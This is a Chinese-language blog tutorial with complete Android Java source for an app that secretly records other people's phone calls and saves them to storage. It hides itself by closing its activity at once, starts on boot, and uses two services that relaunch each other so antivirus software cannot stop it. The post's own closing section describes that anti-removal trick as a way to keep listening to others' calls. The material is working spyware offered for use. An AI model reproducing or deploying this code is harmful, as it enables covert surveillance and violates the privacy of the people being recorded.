Android来一发监听别人通话内容的App
2018-01-03 本文已影响94人
那个唐僧
原理
在别人接打电话的过程中,进行录音.继而将录音保存在本地...
知识点
1,Service
2,BroadcastReceiver
3,TelephonyManager
4,MediaRecorder
实现
public class MyService extends Service {
private MediaRecorder mMediaRecorder;
private TelephonyManager telephonyManager;
private MyListener myListener;
@Override
public void onCreate() {
telephonyManager = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);
myListener = new MyListener();
telephonyManager.listen(myListener, PhoneStateListener.LISTEN_CALL_STATE);
super.onCreate();
}
@Override
public void onDestroy() {
telephonyManager.listen(myListener, PhoneStateListener.LISTEN_NONE);
myListener = null;
Intent intent = new Intent();
intent.setAction("com.scc.service1");
intent.setPackage(getPackageName());
startService(intent);
super.onDestroy();
}
private class MyListener extends PhoneStateListener {
@Override
public void onCallStateChanged(int state, String incomingNumber) {
switch (state) {
case TelephonyManager.CALL_STATE_IDLE:
if (mMediaRecorder != null) {
mMediaRecorder.stop();
mMediaRecorder.release();
mMediaRecorder = null;
Log.i("123", "录制完毕..");
}
break;
case TelephonyManager.CALL_STATE_OFFHOOK:
//1,实例化一个录音机
mMediaRecorder = new MediaRecorder();
//2,指定录音机的声音源
mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
//3,设置录制文件的输出格式
mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT);
//4,指定输出的位置
File file = new File(Environment.getExternalStorageDirectory(), System.currentTimeMillis() + ".3gp");
mMediaRecorder.setOutputFile(file.getAbsolutePath());
//5.音频的编码
mMediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);
//6,准备录音
try {
mMediaRecorder.prepare();
} catch (IOException e) {
e.printStackTrace();
}
//7,开始录音
mMediaRecorder.start();
Log.e("123", "开始录音...");
break;
}
}
}
@Override
public IBinder onBind(Intent intent) {
return null;
}
}
在MyService 中进行telephonyManager 的初始化...对PhoneStateListener 进行实现并且监听手机状态...
如果电话目前是空闲状态将录音进行停止,并且释放资源
如果电话目前是通话状态进行录音,并且保存在本地...
在MainActivity当中只需要启动服务即可
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
// setContentView(R.layout.activity_main);
Intent intent = new Intent();
intent.setAction("com.scc.service");
intent.setPackage(getPackageName());
startService(intent);
finish();
}
BroadcastReceiver中只需要在手机启动的时候进行监听广播,然后启动service即可
public void onReceive(Context context, Intent intent) {
Intent intent1 = new Intent();
intent1.setAction("com.scc.service");
intent1.setPackage(context.getPackageName());
context.startService(intent1);
}
如何保证此监听别人打电话的程序不被杀死
1,在手机启动时BroadcastReceiver监听启动之后..进行service的启动来保证后台服务可以一直持续的进行下去
2,在各种杀毒软件杀掉service服务的时候此时我们的内心是崩溃的...因为我们的service被kill掉了...但是没有关系.在死掉的前一秒会有回光返照的...在死之前重新再启动一个相同的一模一样的service1..在service1即将要死的时候我们在启动service...如此饥渴保证总有service在后台监听着别人打电话的通话内容....
3...如此...即可...